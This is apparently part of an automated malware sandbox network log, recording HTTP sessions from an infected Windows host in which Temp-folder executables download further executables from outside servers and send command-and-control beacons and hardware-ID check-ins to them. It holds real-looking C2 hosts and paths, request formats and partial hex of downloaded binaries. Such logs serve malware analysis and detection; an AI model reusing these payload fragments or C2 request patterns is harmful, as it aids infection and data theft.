Nov 11, 2024 12:41:20.459213018 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:20 GMT Content-Type: application/octet-stream Content-Length: 2774016 Last-Modified: Mon, 11 Nov 2024 11:35:42 GMT Connection: keep-alive ETag: "6731ec0e-2a5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 be fd 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@jnqrnwwi):@fifesqlp ,@.taggant@"2@
Nov 11, 2024 12:41:20.459230900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:20.459378004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:20.459391117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:20.459403038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:20.459425926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:20.459438086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:20.459461927 CET	36	IN	Data Raw: e3 94 79 f5 1b 4b 7a 30 82 58 78 c8 92 16 dd 06 e6 0f c7 16 21 ad d4 56 56 86 36 37 c8 0d a6 21 3a 10 8c 92 Data Ascii: yKz0Xx!VV67!:
Nov 11, 2024 12:41:20.459472895 CET	1236	IN	Data Raw: cd 63 e7 d6 ea db 3e 00 bd a9 4a 35 71 81 1a 06 35 92 75 4a 83 a3 7f 4c 73 99 b1 24 7d ea 6a f6 1b 9f 6e ee 27 b6 19 40 91 88 7f a5 45 f3 68 11 fd 82 71 cb 2b 23 37 36 8d 71 68 ff cb e2 86 23 06 90 4f 2a 9a 97 77 34 8f 94 6a 27 7e a7 67 32 ac 43 Data Ascii: c>J5q5uJLs$}jn'@Ehq+#76qh#O*w4j'~g2Ck%}^O2clI3ux;PTh1;\K$\|b6:w`18=q$'+v99\|a`WFVb{`#LlEm=^$Q3s0\upF3cd>D`W5
Nov 11, 2024 12:41:20.459487915 CET	1236	IN	Data Raw: e3 70 28 f3 ee ed ee 88 7f 97 d0 f6 41 74 10 d8 13 5c c0 02 2d 0b ca cc 47 b0 f4 2f 11 b3 8c ac 98 14 65 7e 7e 10 04 f5 01 83 ec b8 09 28 94 d4 f1 bd 9c b6 da 88 fc 2f c1 97 84 e5 39 3c f6 6f 70 24 06 88 8c 2c 38 90 dd 6e 38 7c 88 49 79 78 90 cd Data Ascii: p(At\-G/e~~(/9<op$,8n8\|Iyx.y`@pTU@Lb\6DiL%o6{ay-w2=y!<1/'E26>&[P/G~2vdm5rx5m)fqbm!?\|%aT l47
Nov 11, 2024 12:41:20.464422941 CET	1236	IN	Data Raw: 8d 6b 32 31 f0 49 4d 22 61 82 2d 6f 30 90 cc e6 9f 7d e1 d4 71 e0 f6 d4 20 4d c0 ab 09 87 c4 07 73 49 dc fd 8e da 8d f5 07 27 09 a4 c2 fe 8b 96 97 b4 6c 26 37 c1 45 c8 c7 86 a6 e6 63 b9 66 33 46 42 7d c2 ff ee 38 3a 33 51 28 69 7a df cd 3d 05 3f Data Ascii: k21IM"a-o0}q MsI'l&7Ecf3FB}8:3Q(iz=?=_xI,m{L9e-!,&0:y?IR-8",1Fj)@#[I{g02}&%Fe w'sG=S\|5M;Zm9h?85c+-5N_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50137	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:24.051981926 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005525001&unit=246122658369
Nov 11, 2024 12:41:24.691469908 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50138	185.215.113.16	80	4068	C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:24.586879969 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 11, 2024 12:41:25.227919102 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:25 GMT Content-Type: application/octet-stream Content-Length: 1820160 Last-Modified: Mon, 11 Nov 2024 11:23:25 GMT Connection: keep-alive ETag: "6731e92d-1bc600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 f0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 6a 00 00 04 00 00 3f ae [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"i@ j?@M$a$ $b@.rsrc $r@.idata $r@ $t@kntikdlf0Ov@xdprgvyai@.taggant0i"@
Nov 11, 2024 12:41:25.227951050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:25.227963924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:25.227998972 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:25.228009939 CET	448	IN	Data Raw: f0 fd c7 84 c2 e2 1c 02 fb 8e 50 07 86 65 35 0c f0 6c 4e 5f 42 c7 f3 a1 e2 66 91 60 1e fd 23 f8 52 dd 72 00 7d c2 80 61 bd 7c 11 b5 ed 69 5b 98 9a 13 54 10 e3 6a f7 d9 db 5d 4d 5c 8d 6d 67 d1 5a b0 ef c0 72 d4 8b 5b c8 fa 58 5f 64 93 43 77 da 55 Data Ascii: Pe5lN_Bf`#Rr}a\|i[Tj]M\mgZr[X_dCwUNu`$Jet8:06sqT'L]weLX\pZyGzb&\|t&\mEWG,~U>^A@7?wA5`UbtY*OV#
Nov 11, 2024 12:41:25.228024006 CET	1236	IN	Data Raw: 3a 1e 6d 7f ea 5d fd 41 13 f3 0e 9b c5 1c db e3 df 9e 78 63 c3 70 00 c1 1f 01 86 52 60 48 d6 33 51 97 04 8c 5a 27 6f 7c 1d 95 4e 2a 10 7c 26 fc c5 17 e6 95 ec 40 fd 53 50 cd bd 83 f4 4c 60 10 64 29 7e f0 e2 24 7f 81 02 e8 2e b7 e8 9a 7f 96 40 a5 Data Ascii: :m]AxcpR`H3QZ'o\|N\|&@SPL`d)~$.@ge#2Pk/r70qIhrx[ce_L.W[;%Q~{X()=$m~1#BgKr?L-0n#P?[>`W<%%fwgod&>Xv3
Nov 11, 2024 12:41:25.228037119 CET	1236	IN	Data Raw: 41 94 a3 e1 5c 31 48 75 36 94 ce 81 14 98 33 52 5a de 48 f1 49 26 4d d4 5d a5 cb 4c 78 fd 4d 76 3c 6e 0b 0b 89 c4 ef f8 c0 1b 94 f0 b9 57 02 f4 6c 97 83 5f e6 1e 48 3f db c1 bf d9 db 66 46 c1 66 96 88 b7 1f 0b 65 00 36 96 0b 13 5f d2 00 d1 aa 2c Data Ascii: A\1Hu63RZHI&M]LxMv<nWl_H?fFfe6_,`Qf[o)mSUc#Uj){e49p_c*%%[,PHdS/s-%LtM,)a-S{f.@X@ 4O-a]_%wY0k
Nov 11, 2024 12:41:25.228358030 CET	1236	IN	Data Raw: 0f 59 4b 57 05 f3 16 ce d5 26 2e 65 fc cb fe b6 8e 1e ea f8 0f d9 0c 10 9b 57 19 70 1c 19 ff 9d 56 69 86 91 66 7a a5 9c 30 07 3a b4 df 19 a3 77 ef aa f4 2b 2d 5b db 14 e1 01 06 bb 4e 36 d4 3b eb fd 5a 8a 80 dd 82 87 ea 21 85 b6 07 ed ab fa 7b 5d Data Ascii: YKW&.eWpVifz0:w+-[N6;Z!{](gcK]aK=TaW>mWuV0&+2+5yC06sKySlW^+w&Y%w@mC-.#j="#g7*a'
Nov 11, 2024 12:41:25.228368998 CET	1236	IN	Data Raw: 8e 25 33 0c 04 2b 0b 37 63 f1 40 c7 e2 41 70 b9 2a 29 eb 85 eb 19 25 90 1e 2a 5a f6 a5 22 08 79 f9 1b 9b a2 72 1d c0 7a c2 5b 1d b4 12 99 0c bb 30 29 3d 7d 64 45 11 b3 3a 37 6f 80 66 1d 15 fb 1c 9d 1c 0b eb 81 83 73 23 1a 6f 1f e3 2b bf b3 6a 36 Data Ascii: %3+7c@Ap)%Z"yrz[0)=}dE:7ofs#o+j6=k#GW~zzg<*sc q(k#W#~KeWx^7S\|K}b+r) GV+b67O1f\VxKUWhe>}
Nov 11, 2024 12:41:25.228380919 CET	1236	IN	Data Raw: 1c 95 84 93 29 6b 1d 91 13 27 00 85 76 34 2a 11 84 23 73 b1 f0 a1 0b c3 65 9e 1e c7 77 b5 9c 85 8a 1d 33 b3 68 22 7f 07 05 65 bb 85 ae 99 4b 0f 33 0c 4f 77 61 8d 7f b1 d2 3d 0f b1 05 f6 03 f6 06 7c 37 11 15 8a 0f fa cc 9f 1d 37 e3 ba 56 8f e2 2b Data Ascii: )k'v4#sew3h"eK3Owa=\|77V++^!:KY`$0}CaW5~=>(y2oXn5.kVsOVZ[*06P_W6in]2kF/R"~Pq~:C]AoW)
Nov 11, 2024 12:41:25.233179092 CET	1236	IN	Data Raw: f5 c3 68 b1 55 dd 3b 7b 15 68 51 fc 0f 25 ab 13 56 9b ce d8 05 14 d2 76 4b a0 3a 37 42 65 6b d9 2f a5 fc 55 97 46 86 47 2b 34 84 cc d6 e6 77 b4 d6 db 26 73 15 7a d4 a2 c3 4e 84 3d 51 91 d1 f7 e3 40 be 4d 03 36 92 e3 df 62 07 c0 dd f4 6b fc a2 48 Data Ascii: hU;{hQ%VvK:7Bek/UFG+4w&szN=Q@M6bkHWG`Y!ed%LGb vBnofE3Kg'i-*Z[Vq#9phKu]\VWu/5,C`!5'GL_diZj~/e.M(&)\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50144	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:26.338310003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:41:26.975631952 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50148	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:28.497610092 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:41:29.140999079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50150	185.215.113.206	80	4068	C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:29.562295914 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 12:41:30.203628063 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:41:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:41:30.208194017 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEBFBKKJDHIDHIDBAE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 42 46 42 4b 4b 4a 44 48 49 44 48 49 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 46 32 39 39 42 35 36 34 37 36 32 37 37 38 39 30 34 39 32 36 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 42 46 42 4b 4b 4a 44 48 49 44 48 49 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 42 46 42 4b 4b 4a 44 48 49 44 48 49 44 42 41 45 2d 2d 0d 0a Data Ascii: ------HCAEBFBKKJDHIDHIDBAEContent-Disposition: form-data; name="hwid"28F299B564762778904926------HCAEBFBKKJDHIDHIDBAEContent-Disposition: form-data; name="build"mars------HCAEBFBKKJDHIDHIDBAE--
Nov 11, 2024 12:41:30.411087990 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:41:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50152	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:30.792424917 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:41:31.430296898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50154	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:32.953701019 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:41:33.598941088 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50158	185.215.113.206	80	9140	C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:35.174005032 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 12:41:35.812947035 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:41:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:41:35.815594912 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 46 32 39 39 42 35 36 34 37 36 32 37 37 38 39 30 34 39 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 2d 2d 0d 0a Data Ascii: ------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="hwid"28F299B564762778904926------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="build"mars------ECGHJJEHDHCAAKFIIDGI--
Nov 11, 2024 12:41:36.017398119 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:41:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50159	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:35.450551033 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:41:36.087163925 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50160	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:37.632659912 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:41:38.258359909 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50161	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:39.877383947 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
